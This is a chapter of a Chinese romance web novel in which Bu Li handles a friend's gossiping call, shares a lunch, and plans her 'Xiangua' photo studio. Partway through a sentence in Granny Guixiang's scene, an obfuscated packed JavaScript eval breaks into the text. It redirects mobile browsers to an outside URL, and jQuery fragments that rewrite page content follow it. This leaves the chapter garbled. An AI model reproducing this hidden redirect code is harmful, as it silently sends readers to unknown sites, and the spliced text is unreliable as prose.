16. 你屋里怎么藏了男人?

作品:《香瓜写真馆诚招男模

    蛋糕做完,已经临近中午。


    陆时生帮忙收拾了厨房。他从没见过这么多餐具,有些可能只是摆设,看上去有些年头了,也没有使用的痕迹,他在放盘子的时候,差点就碰倒了一个青蓝色的花瓶。


    陆时生心有余悸,心里怨了声:一堆什么没用的旧玩意儿?


    抱怨归抱怨,他还是小心翼翼地将餐具复原,生怕碰到了某个价值连城他一辈子都赔不起的老古董。


    步梨认真地将蛋糕打包好,这时,手机响了起来。


    她腾不出手,便直接将手机放在一边,开了免提。


    两人说了几句,手机的另一头沈思筝的声音忽然兴奋起来,“小香瓜——”


    声音一出,步梨就后悔了,每次沈思筝用这种语气跟她说话,准没好事,果然,她还没来得及将免提按掉,对方八卦又带了点质问的声音已经泄洪一般闯了过来。


    “老实交代,你屋子里怎么藏了男人?”


    她声音很大,寂静的屋子里,沈思筝的声音显得格外刺耳。


    步梨顿时浑身僵直,转头的时候感觉自己像个快没电了的机器人,脖子都是机械的,难以控制。


    陆时生就在她边上,指望她没听到这句话是不可能的了。只见他轻飘飘地看了她一眼,还装模作样地咳了一声,然后从旁边捞了条毛巾,擦了擦手,将毛巾随手一扔,转身走了。


    手机那边的沈思筝听到了他的咳嗽声,也骤然没了声音。


    步梨琢磨两秒,脑子里飞快分析出陆时生眼神传递给她的信息,应该是:自己处理好。


    她揣着手机去了洗手间,锁上了门,仍然没从方才的“灾难现场”解脱出来。


    她怒腔道:“沈思筝!”


    沈思筝捏着嗓子低声道:“香瓜,到底怎么回事啊!刚刚吓死我了!那个男人怎么还在你屋子里?”


    “是陆时生。”步梨答道。


    “他怎么在你家?现在还在?你发的照片里也是他吗?”沈思筝一连串的问题。


    “还在,不过我在洗手间,现在安全了。”步梨说着,顿了一下,“照片?什么照片?”


    “在自己家还偷偷摸摸的,肯定没干好事。”沈思筝道,“就是你发的朋友圈啊,你自己看看。”


    难道不小心拍到陆时生了?可她拍照时特意有避开陆时生的。


    步梨浑身冒冷汗。


    “照片有问题?”


    “你再看看!我可是鹰眼。”


    步梨只好又自己看了看,片刻后,恍然大悟。


    原来问题出在角落里摆的那个玻璃杯,上面映出了陆时生的背影。步梨松了口气,这么刁钻的地方,也就沈思筝能发现了,别人应该都没察觉。


    不过出于谨慎,她还是删掉了那条朋友圈。


    “解释一下吧。”沈思筝得意洋洋。


    “都是乡里乡亲的,他来我家有点事。”步梨强行绕开话题,“对了,你给我找的那道题目,答案是五分之二吗?”


    “对了吧,我直接转给老尚了,反正他说对。”沈思筝显然对这个话题没什么兴趣,懒洋洋地答道。


    “那这题难度怎么样?”步梨再次确认。


    “对于大学生来说,中等吧,谁答的啊?”沈思筝问道。


    “这边一个天才儿童。”


    步梨没好意思说是陆时生,随便说了几句其他的,敷衍了过去,匆匆挂了电话。


    出门时,她先探出身子朝陆时生待的方向望了望。


    陆时生正靠在沙发上悠哉悠哉地看书,手上还拿了上午喝剩下的果汁,看起来蛮享受。


    还真没拿自己当外人。


    步梨看着他,忽然想起一个不太熟悉的人。


    是一个许久未见,以后也再不会见到的人。


    为什么会想起他来?步梨觉得自己莫名其妙,同时心里涌出几分伤感。


    她迅速让自己回神,并强行忘记刚才的尴尬。


    三秒钟后,洗脑成功,她拿了蛋糕,刚没事人一样走过去喊陆时生,“什么时候出发?”


    陆时生放下书,“现在。”


    “等一下,我把桂香奶奶的照片打印出来。”


    印完照片,步梨下楼。


    陆时生也跟没事人一样,“走吧。”


    两人各自骑着自己的电动车,一路到了望潮木工坊。


    一进屋便有饭菜的香气迎面扑来,陆望潮已经将饭菜都做好了,陆时生拿了碗筷,还不客气地喊步梨帮他一起摆好。


    陆望潮骂了他一句,“让人家客人干什么活儿?”


    陆时生抿抿嘴,“什么客人?都来好几回了。”


    陆望潮恨铁不成钢地道:“那也不能让人家女孩子干活!”


    陆时生有苦说不出,他明明就是见步梨干坐着尴尬才喊了她,不过也新鲜,他还是头一次见步梨这么乖,小小的一只坐在那儿,双手无处安放的样子非常好玩。


    他这边无缘无故被劈头盖脸骂了一顿,步梨那边莫名放松了不少。


    从方才坐过来,崔胖的眼神就跟生了根一样,盯着步梨拿来的蛋糕挪不开眼,好几次伸手要开盒,都被陆时生打了回去。


    崔胖只好可怜巴巴地等开饭。


    “开饭开饭——”陆望潮皮肤黝黑,单看外表是个身材魁梧的壮汉,但交流起来十分热情亲切,尤其是和步梨说话的时候,两眼眯成一条缝,看上去十分慈祥。


    他比陆时生健谈,吃饭期间一直在跟步梨聊天。


    “姑娘啊,你是哪人呢?”


    步梨道:“我家在江北。”


    陆望潮感叹了一声,“嚯,那是大城市啊,什么时候来的花溪镇?”


    步梨道:“上个月。”


    “来旅游的?”


    “不是,我住在这儿,这算是我的老家,小时候我跟爷爷奶奶在这边住过一段时间,只是后来搬走了。”


    “哦,挺好,这边虽然小,但比市里头空气好。”


    “是的,空气好多了,吃的也健康,叔叔您做的菜真好吃,”步梨夹起一块蛏子放进嘴里,口感鲜嫩,比在江北吃的好多了,她又问,“叔叔,您在外面干活辛不辛苦啊?”


    “还行吧,苦也习惯了,我什么活儿都干过,之前还开过大货车,从这儿能一路开到新疆,横跨半个祖国呢,当时比现在可辛苦得多。”


    步梨还没说话,崔胖在此时插言道:“香瓜姐,你做的蛋糕真好吃。”


    步梨有些小小地得意。


    陆时生时不时看步梨两眼,将她的小表情尽收眼底,今天长辈在,她有所收敛,一直是一副乖巧的模样。


    他默默切了块蛋糕,第一口尝到嘴里,淡淡的奶油在口腔中融化,他这才知道崔胖一点都没夸张。


    只是这个味道莫名有种熟悉的感觉,又想不起来在哪里吃过。


    他顺着记忆搜寻过去,越是想不出,越是想弄清楚这种感觉的出处,半天无果,甚至有些头疼,只能作罢。


    “好久没做了,还担心做的不太好,不过总感觉差了点什么。”步梨谦虚地说。


    “没有啊,超好吃。”崔胖道。


    陆时生轻声来了句,“可以在奶油里加点白巧克力。”


    “你怎么知道的?”步梨惊讶。沈思筝确实教过她这个小技巧,但今天家里没白巧克力,步梨就没放。


    陆时生方才也是随口说的,他琢磨了一下,想着大概是他的大脑突然想起了被遗忘的记忆。


    “可能我有做厨师的天赋吧。”


    ...


    吃完午饭,步梨去了桂香奶奶的家。


    桂香奶奶拿着她的照片看了好久依然爱不释手,步梨还特意找了个适配的相框裱起来。


    “好,真好。”桂香奶奶差点就要热泪盈眶。


    步梨见她开心,自己也跟着开心。过了会儿,她凑过去道:“桂香奶奶,我能不能跟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407279|168336||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    您商量个事儿?”


    “你说,姑娘。”


    “我打算开一家写真馆,就类似照相馆,您的这张照片我可以多印一张,放在店里当样片吗?”


    桂香奶奶被她的话逗得哈哈大笑,“就我这又老又丑的样子还能当样片?”


    步梨不同意道:“哪里又老又丑了?多美啊?美是多元化的,不分年龄的,您看您这样照片的感觉多好呀。”


    “你要开店,店里放我的照片,我怕影响你的生意。”


    “不会啊,只会越来越好,您就答应了吧。”步梨声音甜软,听起来像是在撒娇。


    桂香奶奶原是担心自己照片不够好看,见步梨这么坚持,自然点头答应。


    步梨欣喜万分地抱了她一下。


    当天回到家,步梨认真规划了自己开写真馆的想法。房子不用另找,她这个别墅就很合适,有好多房间都空着,可以开发出来,院子里也可以拍外景,只是都需要布置一下。


    去海边拍外景也不错,只是她需要一个小助理。


    除此之外,服装、首饰、化妆品......


    要添置的东西委实不少。


    还要给写真馆想个好听的名字。


    接下来一个月,步梨都在为写真馆的开业进行筹备,还经常把陆时生薅过来帮忙收拾院子。确切地说,是陆望潮让陆时生主动过来的。


    他这几天不出门,可以照看店里生意,儿子长大了,得有时间忙自己的事。


    陆时生便借着快递送货上门的名义,光顾步家别墅。


    他知道步梨的房子大,但到了后院才发现这里简直别有洞天。


    郁郁葱葱的树木林立,顺着楼梯下去,还有屋子。那里有仓库。虽然来过这里好几次,但这是陆时生第一次见到院子的全貌,他惊得下巴半天没合上,这世界简直疯了,怎么会有这么大的房子?


    房子大,打理起来也麻烦。要修剪花草,整理草坪,修补木架,很多陈旧的地方还要翻新,重新刷上油漆。


    忙活半天,两人也只弄好了冰山一角。


    四月的天温度已经不低了,步梨从小娇气惯了,没怎么干过体力活儿,劳动了一会儿就累得不行,跑去阴凉地方休息,同时在心里盘算着雇人来弄。


    陆时生倒是有使不完的劲儿,刷完油漆,还用仓库里的木材搭了个简易秋千。


    步梨看着一块块木头在他的加工下变得方正光滑,不禁心生赞叹。


    她也正想要做一个秋千在这里,竟然与陆时生不谋而合。


    陆时生的秋千大功告成,他拽了拽绳子,确定不会断,便一屁股坐上去,转头朝步梨道:“过来,推我一下。”


    步梨震惊,“不应该让我玩一下吗?”


    陆时生掀着眼皮看了他一眼,嘴角勾出一个寡淡却又张狂的笑容,从中透出几分为所欲为的野性,他没挪开,在秋千上晃晃悠悠了几下后,才不急不慢地低声道:“这是你家,你想玩随时都能玩。”


    步梨气冲冲走过去,想从背后把陆时生推下来,却坏心办了好事,给别人做了嫁衣。


    陆时生借着她的力气悠荡起来,整个人愈发得意,还嚣张地命令道:“使点劲儿。”


    他身上的黑色卫衣偏薄,凸显出背部紧实的肌肉,充满着力量感。


    步梨赌气一般,使出吃奶的劲儿,狠狠推了他一把后,直接转身离开。


    她转身拿了个锄头刨地,没再理他。


    身后有影子晃来晃去,陆时生自己把秋千荡得老高,就为了能荡到步梨站的位置旁边,步梨看出他的刻意,往边上走了几步,换了个地方继续刨。


    “诶,”陆时生荡了一会儿后,忽然喊她,“你的写真馆,叫什么名儿?”


    “想好了啊,你猜叫什么?”


    陆时生想都没想,直接道:“猜不到。”


    “叫......”步梨放下手里的锄头,一字一顿道,“香瓜写真馆。”